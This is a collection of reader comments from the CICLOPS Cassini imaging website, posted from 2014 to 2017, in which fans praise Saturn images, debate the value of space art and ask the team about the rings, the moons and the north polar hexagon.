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We can observe the same kind of mismatch on the Moon. It is a matter of lighting angle: when sunlight falls obliquely, shadows are elongated and this exaggerates every irregularity.
NeKto      
01-09-2015  08:50:10

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with all the horrible things bombarding us on the news almost every day, this is one of the good things our species is doing. the images here and the science they imply always lifts my spirits. Thank you Carolyn and the entire CICLOPS team, for being among the 'good guys' of the human species and giving so much of the good stuff to anyone who wants to take a look.
PiperPilot      
01-06-2015  20:37:36

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Ciclops Team....Have another great year....you folks are the best.

Cosmicart.....Take care and Happy New Year to you too.

Featinwe.....You are so, so right!!
featinwe      
01-05-2015  01:42:21

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Carolyn, this is one of the best entries here. What you said there is a quintessence of why I'm coming back to this place. You, CICLOPS allow us to travel in space together with Cassini and you make us feel as if we were really there, it's astonishing - thank you for that. It's a little late for Christmas wishes but not too late for New Years - I wish you more beautiful discoveries and a long long journey for Cassini, you and all of us!
cosmicart      
01-02-2015  15:57:42

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Dear PiperPilot: Sorry, I didn't mean to imply that you didn't know who Carolyn was; I was just pointing out that someone with her creds appreciates the scientific value of modern space art (which has little to do with Flash Gordon, etc). The International Association of Astronomical Art has, as one of its goals, to teach and mentor space artists to do the very best science they can within the artistic framework. Their art is frequently used by scientists precisely because it does depict reality as science understands it at the time. But I really apologize if I sounded in any way snippy! Best wishes for the new year.
PiperPilot      
12-28-2014  22:35:43

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Dear Cosmicart:

I will give you that some of the space art is very beautiful. Does it depict reality? I don’t think so. As a kid I just knew that Flash Gordon, Buck Rogers and Space Patrol were giving me a wonderful look at the future and space in general. Over the last forty years I’ve learned first hand that they weren’t even close. Space is much grander than they had imagined. As for the book “The Art of Space” I’m afraid I must pass. Some of the comments read that it will be of great interest to those who like science fiction, and includes artists conceptions of aliens. If I wanted that I’d be headed out to Roswell. So, although the prints are pretty, I’ll just wait for all the pixels to come together in a JPG. Lastly, thank you for setting me straight. All these years I have come here to Ciclops, several emails of mine that she responded to, I had no idea what Carolyn did around there! LOL

Robert      
12-27-2014  11:23:26

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Michael Carroll's image of the B-ring gives me a new perspective on the dynamics of Saturn's ring system. And that is the marvelous advantage of space art. It illuminates perspectives, physical interactions and atmospheres that we know exist but that we can not image directly or imagine easily.

The Cassini-Huygens missions have provided us with an unparalleled wealth of the seen and the unseen -- startling images, penetrating radar, real particle collection, invisible magnetic fields, and atmospheric sensing. Each of these require scientific and technical interpretation to make sense to us. Space art is another kind of interpretation that can combine this information in ways that the separate instruments can not. Space art provides us with an instantaneous view of both what we can see and what we have learned.

A good source for space art is www.novapix.net/us. That site has a myriad of beautiful and intriguing space art that will give your imagination a thorough workout. This site has works by Michael Carroll, Don Dixon and many others.

I feel so fortunate living in the era of space exploration. The Cassini-Hugens missions have been a particular favourite of mine. They have given me so much -- fantastic images and inspiring explanations of how dynamic and alive our solar system really is.

cosmicart      
12-25-2014  17:58:06

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Dear PiperPilot: A great deal of data that we get today is numerical rather than visual. We also do not have images on a human scale for places other than a handful of landing sites. In both of these cases, astronomical art is of great value, and this value is appreciated not only by the public but by the scientists whose work is being visually "translated". If you are further interested, I would highly recommend Ron Miller's new book "The Art of Space" with an opening by Carolyn Porco. Carolyn (who, as you know, is imaging team leader for Cassini) wrote a nice intro that will answer your objection well.
carolyn      
12-25-2014  07:53:20

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We will be posting a larger version of Michael's glorious painting come next week, when the CICLOPS staff is back at work. Cheers!
carolyn      
12-25-2014  07:53:10

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We will be posting a larger version of Michael's glorious painting come next week, when the CICLOPS staff is back at work. Cheers!
jsc248      
12-25-2014  04:30:14

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Thanks Michael,
Despite some reservations of visual context to CASSINI data, you have produced an image of great detail and imaginative zest. The image gives a vision of being there despite whatothers may say. Truly fantastic work, well done.

I would like to take this opportunity to wish everyone (Carolyn and the whole team) a very Merry Christmas and a Happy New Year.
rgedaly      
12-24-2014  23:54:56

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Thanks Michael. What's particularly interesting is that your work provides a sense of scale. That's something I've had a hard time getting my head around.
PiperPilot      
12-24-2014  17:59:29

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I will say that I have never cared for artists conceptions of astronomical renderings. I don’t feel that they are even close to what the true image would be. With all the imaging we have coming back in our solar system I don’t even see the need for it. If the discussion is about some where that we haven’t been yet I’d much rather wait for a JPG than to have someone’s WAG.
cosmicart      
12-24-2014  16:08:59

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Dear Stevekasian: Udanax is correct, but it's a very tricky problem. I had discussed the phenomenon with Carolyn Porco at length, and we even had a lunch with piles of napkin drawings. In the end, I had to make a sculpey version of what we see (see my updated caption, which should appear on CICLOPS soon). Michael Carroll
cosmicart      
12-24-2014  16:07:45

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Dear Stevekasian: Udanax is correct, but it's a very tricky problem. I had discussed the phenomenon with Carolyn Porco at length, and we even had a lunch with piles of napkin drawings. In the end, I had to make a sculpey version of what we see (see my updated caption, which should appear on CICLOPS soon). Michael Carroll
Udanax      
12-24-2014  15:46:58

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Stevekasian,

We can observe the same kind of mismatch on the Moon. It is a matter of lighting angle: when sunlight falls obliquely, shadows are elongated and this exaggerates every irregularity.
Lunar mountains are actually "shaped like smooth, rolling hills", but their shadows, observed with a telescope or an orbiting spacecraft, "show sharp, jegged, craggy peaks".
In fact, Michael Carroll could not have got it righter.
hank      
12-24-2014  15:09:23

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Is there any chance of getting that photographed, maybe on the last daring dive down the gravity well? Because a movie of that would be -- heck, you should invite bids from the major motion picture production companies.
hank      
12-24-2014  15:08:32

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Is there any chance of getting that photographed, maybe on the last daring dive down the gravity well? Because a movie of that would be -- heck, you should invite bids from the major motion picture production companies.
stevekasian      
12-24-2014  14:02:27

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I can't help but notice that the "beloved and skilled" Michael Carroll didn't even think to shape and contour the 2 mile high towering wall of rubble so that it matched the shadows he created for them. The edges are shaped like smooth, rolling hills, while the shadows, consistent with the actual photographs, show sharp, jagged, craggy peaks. So once again, as with almost all "conceptual artists" in the astronomical field, this artist's conception falls short of doing the concept justice. Not at all impressed.

Sliver of Saturn
rochelimit      
04-12-2017  06:42:46

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Beautiful description of the A, B, C, F ring. Oh no, the Cassini mission is coming to an end :( :( :(

Dichotomy
chirurgientunisie      
04-12-2017  03:26:15

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I personnally deal with you
Dragon_of_Luck_Mah_Jonng1971      
04-05-2017  14:01:37

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Fascinating

Pan Revealed
Dragon_of_Luck_Mah_Jonng1971      
04-05-2017  17:59:50

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It's looking completely different from what I expected.
Even more surprising its ridge looks smoother than the rest of its surface although it looks like being connected all the way round to its main body.

Pan Revealed
richard22      
03-26-2017  15:35:34

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this is one of the most stunning images Cassini has ever taken, and he has taken so many. Can't believe that old friend will soon have to collapse into mighty Saturn :-(
a
a
Sharoun      
03-26-2017  15:25:42

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I find this very interesting!
dar      
03-19-2017  18:35:38

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I'm new here. Just wanted to say thank you. I find this very interesting!
Sharoun      
03-18-2017  11:03:46

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great
nodthai      
03-17-2017  06:29:04

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Things happening in there are so crazy.. One of my secret dream would be : "See 1000 years into the future" Maybe we'll find out something to realize this dream..

NASA and ESA Celebrate 10 Years Since Titan Landing
mikeroch      
03-15-2017  00:19:10

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What is the meaning of not showing it online?
Taunide      
01-15-2015  02:26:18

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There is ONE thing i cannot understand: WHY FAHRENHEIT?? Everywhere in the world we use Celsius, everywhere in the scientific world we use Kelvin... why Fahrenheit? On an European - American Mission you should use a measurement that is internationally understood.

Daphnis Up Close
apspclkrishna      
01-23-2017  00:41:01

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i think the rings on either side of the Daphnis are seperated in height.....as the impact on rings is not same,it differs remarkably.

Shaping the Drapes
apspclkrishna      
01-23-2017  00:37:27

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in the video there is also a body entering below the ring passing towards inner rings,makes a disturbance on the rings,affecting them

Coasting Above the Rings
perigalacticon      
01-13-2017  06:24:32

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Will Cassini return close-up photos of the rings so that the particle structure can be observed?

Mimas' Mountain
NeKto      
01-10-2017  07:01:53

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that impact must have come close to shattering Mimas

Saturnian Hexagon Collage
NeKto      
01-01-2017  04:55:29

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of all the things i have read about the hexagon, i have no recollection of any mention of it size. how wide is it side to side? (+or- 100 miles)
Robert      
12-10-2016  06:16:54

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Could the hexagon be shaped by the effects of a Reuleaux Polygon? I've seen an animation and a video of a Reuleaux Triangle outlining the shape of a square due to off-axis rotation. Apparently (meaning I haven't seen it) a Reuleaux polygon can outline the shape of a hexagon.

In three dimensions at Saturn's pole the increasing curvature of the atmosphere gradually meeting at the axis of rotation might have a similar effect.

Just a thought.
NeKto      
12-08-2016  11:00:03

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is there any detectable chemical difference between what we see inside the hexagon and outside of it?

Basking in Light
NeKto      
12-27-2016  02:59:06

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i am very curious about what the atmospheric pressure is where the tops of the clouds start forming. what order of magnitude are we looking at? i doubt it is as low as one atmosphere. i would be surprised if it was as low as ten. is it close to 100? 1000? how deep is that clear portion of atmosphere we are looking through? 100 kilometers? 500?

Over Saturn's Turbulent North
BlueInGreen      
12-08-2016  06:11:54

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oops..I meant famous, not infamous
BlueInGreen      
12-08-2016  06:10:45

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This is really amazing from a scale perspective; at 240K miles, the infamous image of the Earth from the Moon showed how one could cover up the Earth with their thumb. Cassini is at the same distance to Saturn, yet I could barely cover up Saturn with my upper torso ;). The size of Saturn is mind blowing. Great stuff guys.

Tiny Mimas, Huge Rings
Ensign John      
11-30-2016  08:50:00

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Beautiful and Awe-inspiring.
NeKto      
11-29-2016  10:18:03

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wow

Saturn's 'Watercolor' Swirls
NeKto      
11-16-2016  07:06:40

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it is images like this that have me wanting to replace Cassini with another camera/instrument platform, or find a way to refuel Cassini. i want the images and science to continue.
and i want to find out what the heck is making the hexagon!

Changing Colors in Saturn's North
NeKto      
10-27-2016  09:12:32

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that looks like a substantial change in albedo (sorry, don't know the correct spelling and spelling check is being useless)

Fluid Fantasy
NeKto      
10-24-2016  12:04:59

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another "Wow" image.

Saturn, Approaching Northern Summer
Dragon_of_Luck_Mah_Jonng1971      
09-20-2016  13:51:57

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One of the most beautiful color images of Saturn of the mission. It's showing a lot of details in the planet's atmosphere. There are orangish hues in the northern hemisphere and a kind of darker belt within that area.
Greetings from the Dragon

Barely Bisected Rings
sunhillow57      
09-20-2016  08:03:02

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this has been a long journey for cassini to travel. the end of mission has been a long time coming.
NeKto      
09-13-2016  10:53:30

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i have not been able to get to this page for about two weeks. glad to have it back.
and this image is just another Wow!
a little matter, a little angular momentum, set them loose and look at what you can get.
i still love the images here.

A Moon's Contrasts
NeKto      
08-22-2016  21:45:22

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i didn't know Dione had such high contrasts. for a moment, i thought i was looking at Iapetus.
were the contrasts enhanced?

Bent Rings
NeKto      
08-01-2016  07:04:41

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that has got to be one helluva deep atmosphere. how thick is that layer we see bent rings through?
and congratulation to the Ciclops team on another A.P.O.D. 1 August 2016.
the old robot still has the magic!

Tethys Tops Saturn
NeKto      
07-17-2016  05:43:32

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at first glance, i do see distance between Saturn and Tethys. i have to concentrate a little to see all the distance the perspective of the rings indicate is there, but i can see it.
a little concentration in the other direction and i can see Tethys at the same distance as Saturn, hovering over the pole.
fun to play with.
NeKto      
07-13-2016  22:45:04

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love it.

Up and Over
NeKto      
06-01-2016  17:52:00

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there's that hexagon again.
as an old school mechanic, i can't help but wonder, if you could put a wrench on that hex, could you unscrew it and take the planet apart?
what are the dimensions across the flats? (I'll check my tool box.)
i look forward to seeing some closer images of the north pole before mission end.
what is happening there is fascinating.

Sculptor and His Work
NeKto      
05-18-2016  05:14:29

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there are moments when the images of the rings look like the grooves in an old fashioned LP record. but the grooves keep changing. the music is different every day. i never get tired of it.

In Formation
NeKto      
05-12-2016  05:36:19

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nice side by side image of two very different satellites.
i sure hope the server issues are resolved. i was very disappointed when i clicked on the web address and was not able to connect.
I am sure i missed something fun.

Tilted Terminator
NeKto      
03-20-2016  07:45:59

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a stunning example of the huge variety of surface forming forces we have in out solar system. what a time to be alive.

A Fractured Pole
Dragon_of_Luck_Mah_Jonng1971      
03-04-2016  20:57:22

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That part of Enceladus is much more interesting than I expected. This image is very fascinating showing a lot of tectonic features.
jsc248      
10-16-2015  14:41:48

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The feeling of almost being there sitting on top of the probe is overwhelming. What superb, breath-taking and thought provoking images these are.

Bull's-eye!
Dragon_of_Luck_Mah_Jonng1971      
03-04-2016  20:12:54

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Fascinating again and showing details on Tethys, too.
NeKto      
12-17-2015  08:47:13

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we keep getting more great images. this is another one I thoroughly enjoyed. I am really going to miss Cassini when it goes. wish we could refill its fuel tanks and have it go another three decades.

A Brighter Moon
Dragon_of_Luck_Mah_Jonng1971      
03-04-2016  20:06:02

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A fascinating view. This could be the view a manned spacecraft flying to Enceladus may have in a science fiction movie.
NeKto      
11-17-2015  11:57:34

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another inspiring image. what a photogenic planetary system Saturn is. I wish Cassini could stay in orbit a lot longer.

Ices
NeKto      
02-08-2016  18:16:56

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I like it.

Triple Play
mkellersteele@yahoo.com      
01-05-2016  21:20:26

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fascinating view. looking closely I see on enceladus terminator line, a bright speck. The peak of a meteor impact perhaps
NeKto      
01-04-2016  08:45:06

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I keep liking the images I find here. I find this one of the most enjoyable places on the web.

Enceladus, Old and New
NeKto      
12-21-2015  09:41:53

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I wonder; is there any sign of the ice crust subducting? is the old crust just being covered, or is there tectonic motion?

Water World
NeKto      
12-04-2015  09:05:10

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another stellar example of science and art in one image.

Rev226
Mercury_3488      
11-04-2015  12:32:33

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I understand that the Epimetheus pass on Sunday 6th December 2015 will be a close one, approx 3,000 KM? If so the ISS NAC may resolve details to approx 3 metres ???

Andrew R Brown.

Enceladus Up-Close
Mercury_3488      
11-04-2015  12:21:26

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Absolutely astonishing imagery. Really enjoyed the E20 images too of the north polar region too.

On image: http://saturn.jpl.nasa.gov/multimedia/images/raw/casJPGFullS91/N00250525.jpg is that a crescent Epimetheus to the lower right?

Andrew R Brown.

Enceladus Flyby 'Rev 223'
dholmes      
10-16-2015  06:05:49

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Who cannot marvel at what we can so easily access with just a few clicks, which belie mountains of work and research by the Cassini team. Infinite kudos!
ddOps      
10-15-2015  12:15:27

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Lovely lack of TLM data losses!

Enceladus 'Rev 223' Raw Preview #5
Iapetus Monolith      
10-15-2015  17:06:09

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Correction: the cracks (if that's what they are) indicate illumination roughly from W. I still don't get it.
Iapetus Monolith      
10-15-2015  17:03:58

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Confusing shadows. The craters indicate illumination from NNW; the cracks indicate illumination roughly from E. How is this possible? Two light sources?

Enceladus 'Rev 223' Raw Preview #3
Iapetus Monolith      
10-15-2015  16:58:38

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OMG - look at that 'cross-hatched' pattern in the largest crater's floor! What caused it? Shrinkage in two directions? Stretching in two directions? Subsidence? Stunning image!

Enceladus 'Rev 223' Raw Preview #2
Iapetus Monolith      
10-15-2015  16:49:59

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Wow - this image is breathtaking! What are those striations running through the craters? Fault lines? Folds? What are the approximate crater diameters?

Pluto’s Majestic Mountains, Frozen Plains and Foggy Hazes
enceladus5      
09-19-2015  23:35:22

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just stunning. more proof of the absolute beauty and diversity of our remarkable solar system. congrats to the new horizons team for their well earned success and for these extraordinary images.

Methane Painting
Robert      
09-12-2015  15:19:48

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Ah yes, the artistry of science and nature combined!

I find it fascinating that the compound methane can have such a noticeable, detectable affect and in such distinctive bands considering it represents less than two per cent of the composition of Saturn's atmosphere.

More information about the various light absorbtion and scattering characteristics of gases in Saturn's atmophere can be found in the Ciclops page "Four windows on Saturn" at http://www.ciclops.org/view.php?id=65 or by searching for the article title. There are many other pages with explanations and images that can be found by searching for methane or ammonia.
I Dreamed of Falling
Lee      
08-31-2015  22:33:22

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Good evening,

[Sorry about the prior error: I hit the wrong button.]

Space.com is reporting that NASA is considering a mission to Enceladus in 2021 to search for life.

Lee in St. Paul
jsc248      
03-15-2015  08:58:37

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Hi Carolyn,
It is good to know that you will be taking posts at the two institutions. I am sure you will bring that knowledge to the imaging team and hopefully to us too. I look forward with interest to your posts over the coming years!!
John.
Lee      
03-14-2015  22:30:21

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Good evening,

Congratulations Dr. Porco on your appointments to the University of California as a Distinguished Scholar, and as a Fellow to the California Academy of Sciences.

Best of all, you'll be continuing to lead us here.

Thank you,
Lee in St. Paul
Robert      
02-01-2015  10:05:10

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Titan became a real place for me 2005. It was amazing to see images of a world like our own through diffused atmospheric sunlight. A place with a horizon. A place with mountains grooved apparently by erosion. A place with land and lakes and shorelines and scattered rocks. Sure, it is too cold to live there, but it is still a fluid place. Liquid chemicals still float in the atmosphere and on the surface. They still interact with the scant sunlight from our Sun.

Learning about Titan is learning about the Earth. It is similar to how scientists have learned about our own Sun by learning about other stars. How they have been made and how they develop. What is the same? What is different? What makes one world, or one star, unique when there are apparently similar chemical and physical properties that they share? That is what scientists have been finding out. They continue to do so because there is much more to find out.

There are two excellent books that describe what was known about Titan, how the Huygens Probe was developed, and what was initially learned from the probe's science experiments. Both were written by Ralph Lorenz and Jacqueline Mitton. Lorenz is a planetary scientist who worked on the Surface Science Package of the Huygens Probe.

The first book "Lifting Titan's Veil" was published in 2002 (before Cassini-Huygens reached Saturn) and provides a historical as well as scientific description of what was learned about Titan up to that time. The second book "Titan Unveiled" was published in 2008 and provides a backstory of the development of the Huygens Probe as well as the initial scientific discoveries that were made on Titan.

Both books are engaging reads. Both the science and the technology are presented in detail but in a manner that is understandable to a wide audience.

Although Titan was discovered 460 years ago by Christiaan Huygens (on 25 March to be precise) scientists have obviously learned vastly more about it in just the past 10 years. And it's not just because they have more data, but it is why that data was chosen to be collected. It is those why-questions that make science interesting, inspire people to continue to explore, and allow humanity to progress.
NeKto      
01-28-2015  10:50:45

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i have hesitated and gone back and forth with myself about responding to bwleung because it is so far off topic. i am very glad when anyone cares enough to want to respond to my situation, but inappropriate responses can do me more harm than good. perhaps bwleung didn't notice when i said "i am physically unable to sustain gainful employment"
being offered a job i can't do is no help.
what would help is competent, thorough primary medical care services. a thing i have never had in my adult life, and is apparently becoming extinct in the US.
or a shelter where the air quality is actually good enough i don't end up hemorrhaging.
on a happier note, one of the other things i do for stress relief is write science fiction. i am closing in on the end of a novel i titled "Ringshine" several of the moons of Saturn we have become familiar with through Ciclops, as well as the ring system, play important rolls in the climax of the novel. i'll let you know when it's finished. if anyone here want to read it we'll figure out a way to get it to you.
bwleung      
01-14-2015  17:45:34

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Does Cassini Imaging team or CICLOPS community know anyone who can help,refer or assist NeKto with a job, which is hope?

Nekto survived over 10 years being homeless by going to the library "enjoying the breathtaking and at at times startling images Cassini and Huygens cameras have brought us.
i would not have survived without them."

We all enjoy these breathaking and startling images too these past 10 years but lucky enough to not need them as "a refuge and a stress relief", as we manage to have a job these last 10 years. Really hope humanity can come in and make a difference.

Kind regards,
Bill
NeKto      
01-14-2015  16:10:42

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ten years ago today, i had been homeless for about half a year. i never had the opportunity to see the live coverage. i got to the library and found the images on the web.
in a world where too many believe they can assault and attack me solely because i am physically unable to sustain gainful employment, i am glad to have had the ten years of images and science here. it has been a refuge and a stress relief.
i am still homeless. have no hope of ever being anything else, and still enjoy the breathtaking and at at times startling images Cassini and Huygens cameras have brought us.
i would not have survived without them.
NeKto      
01-14-2015  16:09:54

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ten years ago today, i had been homeless for about half a year. i never had the opportunity to see the live coverage. i got to the library and found the images on the web.
in a world where too many believe they can assault and attack me solely because i am physically unable to sustain gainful employment, i am glad to have had the ten years of images and science here. it has been a refuge and a stress relief.
i am still homeless. have no hope of ever being anything else, and still enjoy the breathtaking and at at times startling images Cassini and Huygens cameras have brought us.
i would not have survived without them.
Astrodad      
01-14-2015  15:56:48

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Carolyn, thanks for reminding us of that wonderful time. I did an outreach event at the Dallas Science Place the night of SOI with a live feed for the board members. Wonderful! Later, your "force of nature" passion during the Huygens event far outshadowed the unfortunate analogy by John Zarnecki's team that we just landed in Crème Brulee. Good thing ESA had you around to make it real as many viewers probably lacked sufficient context to square Huygens, Titan and Crème Brulee.
bwleung      
01-14-2015  15:43:52

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Thank you so much, Captain Carolyn. I remember distinctly Australian Boardcasting Corporation (ABC)'s science show Catalyst ran a special episode 10 years ago of the Huygens probe landing on Titan. The ABC reporter featured your very emotional and moving response that night of the Titan landing at European Space Operations Center in Darmstadt, Germany, ie, humanity has landed on Titan! It was a moment I will never forget, your raw emotions, displaying you being a truly great scientist. Your quest for the advancement of science to explore and understand and to guide and share with us the general public, for the betterment and benefit of all of us. Many thanks again for that unforgettable moment 10 years ago, Carolyn and what you and your team gave us all these years with Cassini of the Saturnian system and her wonders.
J Richard Jacobs      
01-14-2015  13:15:16

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Just an added note: Thank you so much, Caroline.
J Richard Jacobs      
01-14-2015  13:13:14

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As a displaced Martian longing to go home, I have never been more proud of my species. We have accomplished much, but there is so much more to be done. The images we have are emotionally moving, astounding, and wonderful. Now, let's take our rock hammers in hand and go do some real hands-on science. And someone, please take me home.
PiperPilot      
01-14-2015  11:08:06

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Like our Captain, I too have been in awe over the images...with more to come. I wish we could bring Verne and a few thousand others back for a day to enjoy these wonders with us.

Pluto Dazzles in False Color
JKoulouris      
08-30-2015  09:13:24

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Here we go ONE MORE TIME IAU/WGPSN (International Astronomical Union/ Working Group for Planetary System Nomenclature) and PLUTO Task Force.... Hope You Have Your Plutonian System Surface Feature Themes and Suggested Names List Ready, because PLUTO, CHARON, NIX, and HYDRA are about to have a Family Re-Union straight from the Underworld of Ancient Mythology.

Eat Your Hearts Out THANATOS and HYPNOS.

Our Best Regards to the Johns Hopkins University Applied Physics Laboratory (JHUAPL), the Southwest Research Institute (SWRI) , Lowell Observatory , and the NASA and Jet Propulsion (JPL) Teams for a Task WELL DONE, and to CICLOPS and the Global Community.

John A. Koulouris, (Esq.)
Planetary Cartographer, Researcher and Author,
ASTEREION-ORION PROJECT,
Laval, Canada.


The Year of Pluto - The "NEW HORIZONS" Mission reaches PLUTO, and Brings Humanity Closer to the Edge of the Solar System.
https://www.youtube.com/watch?v=EJxwWpaGoJs

The NEW HORIZONS Mission to PLUTO - The Official NASA Documentary

The NASA, Johns Hopkins University Applied Physics Laboratory, and Southwest Research Institute "NEW HORIZONS" Mission and VIDEO Archive Official Websites:
http://pluto.jhuapl.edu/Multimedia/Animations/New-Horizons-Voyage-to-Pluto.php
http://pluto.jhuapl.edu/Multimedia/Science-Photos/image.php?gallery_id=2&image_id=243

Original Image of the Planet Pluto taken by the "NEW HORIZONS" Spacecraft on July 14, 2015.
https://en.wikipedia.org/wiki/Pluto#/media/File:Nh-pluto-in-true-color_2x_JPEG.jpg


Dione with Rings and Shadows
Robert      
08-30-2015  07:48:24

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Images such as these have always been a particular favourite of mine. I call them "Kandinsky-esque" because they recall the balance and symmetry of that artist's work. Here Dione is the "point", the rings are the "line", and Saturn is the "plane". Beautiful!

Cassini's Closest Views of Dione I
Robert      
08-30-2015  07:19:12

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By my estimate, the smallest features I can see in the NAC image on my computer are about only 6 metres across! As amazing as that level of detail is on its own, it's even more amazing to me that Cassini captured that image while zipping along at almost 30,000 km per hour. I wonder if that's a speed to resolution record for a spacecraft?

Chasms on Dione
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08-24-2015  11:36:39

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NeKto      
08-22-2015  08:26:40

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there are fascinating forces at work everywhere you look in the Saturn system.

Looking Up to the Giant
NeKto      
08-07-2015  05:52:28

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i get a notion of the scale of what a "Full Saturn" must look like from the night sky of Dione, Mimas or Enceladus from this image.

The Colors of Tethys II
Robert      
08-03-2015  15:36:13

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Wow! The enhanced full-sized version is incredible for its detail and resolution! And the smoothness of the mosaic is amazing!

Red "Cat Scratches" on Tethys
Tim01      
07-30-2015  00:44:11

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I think carbon bonded cell change is there with Mg.

Not So Titanic
chrisp      
07-13-2015  17:09:56

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Earth's diameter is closer to four times the Moon's diameter.

The Beauty of Her Veil
Ashvin      
07-07-2015  02:12:54

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Stunning picture David! Job well done!

Blue Orb On The Horizon
Ashvin      
07-07-2015  01:26:53

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Hi, I just want to say that this is a simply spectacular image of Uranus from such an extreme distance. I would like to know if Dr. Porco and the rest of the Imaging Team plan to have Cassini take a similar picture of Neptune, anytime between now and the end of the mission? I know that a lot of the spacecraft's resources are currently allocated to things like moon flybys and studies of Saturn itself, but I was just wondering if there would be an opportunity for Cassini to squeeze in a picture of Neptune, just like with this image of Uranus?
NeKto      
05-14-2014  11:33:19

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Bigger blue marble

Spirals in the D Ring
NeKto      
07-03-2015  17:43:09

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Hey, man, can we spin that platter and hear what's in those grooves?
i really love this site. i am never disappointed when i come here. i am very glad it's here, especially since the NASA page has become almost totally opaque to me. i am visually disabled and Dyslexic. to use a computer for any length of time i need a black background and medium grey letters. no problem with my settings here, but on the NASA page, nothing i need to navigate shows up. so big thanks to the CICLOPS team for keeping an accessible web page.

Triple Crescents
Robert      
06-22-2015  19:28:15

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Oh this is just pure cool heavenly delight.

In the Company of Dione
Robert      
06-22-2015  19:22:42

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This is one of the most spookiest, beautiful and ethereal images of Saturn with a single moon I have seen. The dark, looming mass of Saturn, the dominant crescent of Dione dwarfed by its maternal planet, and the sharply clear line of the rings.

This is one of those "Kandinskiesque" images that Cassini has delivered so often. That wonderful balance of "point, line and plane" that epitomized that particular artist's work and is so dramatically created by nature and captured by human ingenuity in this image.

The wonders that I have been allowed to perceive with Cassini are one of the many reasons why I admire the science of space exploration.


Tethys ‘Eyes’ Saturn
Robert      
06-15-2015  18:30:29

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This is a rare and stunning image of Thethys because we don't usually see so many of the large craters althogether in such luminous relief.

The top one must be Odysseus. The bottom one might be Melanthius but that crater seems too far North. And the fainter big crater in the middle looks like Penelope. Please correct me if I'm wrong about these craters.

I've checked the maps and can't figure out any other interpretation. But then this could be because of the Sun-Tethys angle and similar to our own Moon this Cassini image could be a unique angle that throws shallower craters into greater relief.

But still, this is a most interesting image of Tethys. It says something to me that seeing even a familiar moon from just a few illumination angles is not enough for me to know it.

Farewell to Hyperion
jempromotions      
06-11-2015  09:57:45

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wow - looks like a big piece of coral

HYPERION REV 216 RAW PREVIEW
enceladus5      
06-02-2015  21:47:47

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What beautiful images of this bizarre and wondrous moon. A fitting farewell to Hyperion from Cassini!

Dione Dwarfing Rhea
NeKto      
06-01-2015  18:52:26

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for me, this image is just fun.

Rhea's Horizon
NeKto      
05-28-2015  07:43:19

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by comparison to the whole body of Cassini images, this one is rather simple and plain. goes to show, the most mundane of Cassini images are spectacular. wish we could refuel Cassini for another 25 years.

Swirls and Shadows
enceladus5      
05-20-2015  11:01:58

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What a remarkable picture. Thanks Cassini!!!
NeKto      
05-08-2015  09:25:07

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I keep wondering what the scale of depth is when we look at Saturn. how deep is the methane haze? how tall are some of those cloud structures? how much atmosphere would you have over your head at one Earth atmosphere pressure? what is the temperature and pressure where the cloud tops are forming? are these things that are just not known?

Frozen in Time
Dr.Abid Khan      
05-12-2015  17:50:40

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Difference between earth time with saturn

Investigating Subtle Colors on Iapetus
NeKto      
04-07-2015  10:22:32

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it always takes me a while to figure out what the sun direction is when i see images of Iapetus. nice image here, but i would like to see the original brightness level in a side by side. my guess is it would also show the contrast in the lighter terrain to better effect. either way, this is still one of the most fascinating objects in out solar system. glad to see another image of it.

Groovy
NeKto      
03-19-2015  08:18:49

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i wrote an entire novel just from wondering what the rings would look like from underneath. i never get tired of seeing the images of the rings. i wonder what they looked like a thousand million years ago. i wonder if they will still be there a thousand million years from now. either way, i'm glad i get to see them the way they are today.
Thanks again Cassini, and thanks again Ciclops team!

Path to the Dark Side
NeKto      
03-14-2015  07:31:34

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Too bad Cassini couldn't do more than one close fly-by of this moon. i guess having so many fascinating spheres in one system makes it impossible to do them all justice. i vote for a Cassini II mission, then a III and a IV. but who could possibly replace Carolyn and the Ciclops team?

Cubist Saturn
NeKto      
02-24-2015  10:19:19

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every time i look at this, i see something i didn't see before. another great image. excuse me while i get lost in the rings for a while.

Contemplative Janus
Tim01      
02-16-2015  05:32:41

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It's really awesome feat of NASA

Darkness
jsc248      
12-25-2014  04:26:46

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I like this image because despite all the images and science from CASSINI, this still gives an air of mystery to the great planet. Superb image.
NeKto      
12-23-2014  08:41:17

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intriguing image and interesting science. i like this one as much for the explanation as the visual impact.

Translucent Rings
rochelimit      
12-20-2014  07:17:21

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Dear Cassini team, first of all, sorry for my bad English. I have 4 questions about Saturn's ring:

1. How old is Saturn's ring? we know that it is formed probably 4 billion years ago, the same time as Saturn's formation, but the ring as we know now (the flat one), when does it formed?
2. Is Saturn's ring relatively stable (shepherd moons help stabilizing it?) or still actively changing and unpredictable?
3. Is it correct to say that Saturn's ring is the nebula for the formation of the Saturnian moons (Mimas, Enceladus)? Couple of months ago, a lump of thick material was observed in the edge of the ring. Where is that lump now? Is it still exist?
4. Among scientists and astronomers, which theory is the most favored about the ring formation? Is it from Saturn's nebula or from a destroyed Moon.

Many thanks for the beautiful updates!
NeKto      
12-11-2014  09:55:22

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another image i like a lot.

Mighty Little Dot
NeKto      
12-03-2014  12:13:39

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I don't know why, but I find so many of the images here to be stress relief. this one is no exception.
to paraphrase Brian Wilson; We'll have Fun Fun Fun until NASA takes Cassini away!

Circling Saturn
NeKto      
11-30-2014  09:15:32

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took me a while to spot Mimas. fairly well camouflaged sitting above the clouds.
as usual, another breathtaking image.
Gosh you folks do good work. (or are you mostly playing and getting paid for it?)
The Wonder of Enceladus
SpaceOut      
11-03-2014  07:11:03

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Thank you Cassini team. You've inspired me to create a website where you can order big canvas prints, posters, and murals of the best hits of the cosmos. All authentic too! It's called BigBangPrints.com. Space out your space!
nnystarman      
10-21-2014  20:17:32

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When we go to Enceladus someday Carolyn we will find our answers. As of now it is one of infinite unsolved mysteries for the human race. The current explosion of knowledge in Astronomy including moons in our planetary system and exoplanets is simply amazing! Thx for sharing your findings and thanks for all the years of work you and your colleagues have put in to bring this information to light for all of us :-)
NeKto      
09-27-2014  15:47:17

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i keep wondering about that one geyser that isn't in the 4 tiger stripes. so often, it is the odd ball that has the most interesting information attached. anything else unusual about that one? could it be in what once was a more active fracture in the past? might it be a harbinger of where the next stripe might form?
then again, it might be something else entirely.
ravi prakash dwivedi      
08-15-2014  12:24:37

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i wonder...
Lee      
07-30-2014  13:44:13

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Thanks for all the work you've done. The explanation helped me a lot. Any ideas on why the geysers are in parallel lines? Why at the south pole?

Lee in St. Paul
PiperPilot      
07-28-2014  17:36:02

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We have got to go there. I hope soon so I can enjoy the findings. Thank you for the wonderful Captain's Log Carolyn.

Wavy Polar Jet
NeKto      
10-07-2014  10:54:40

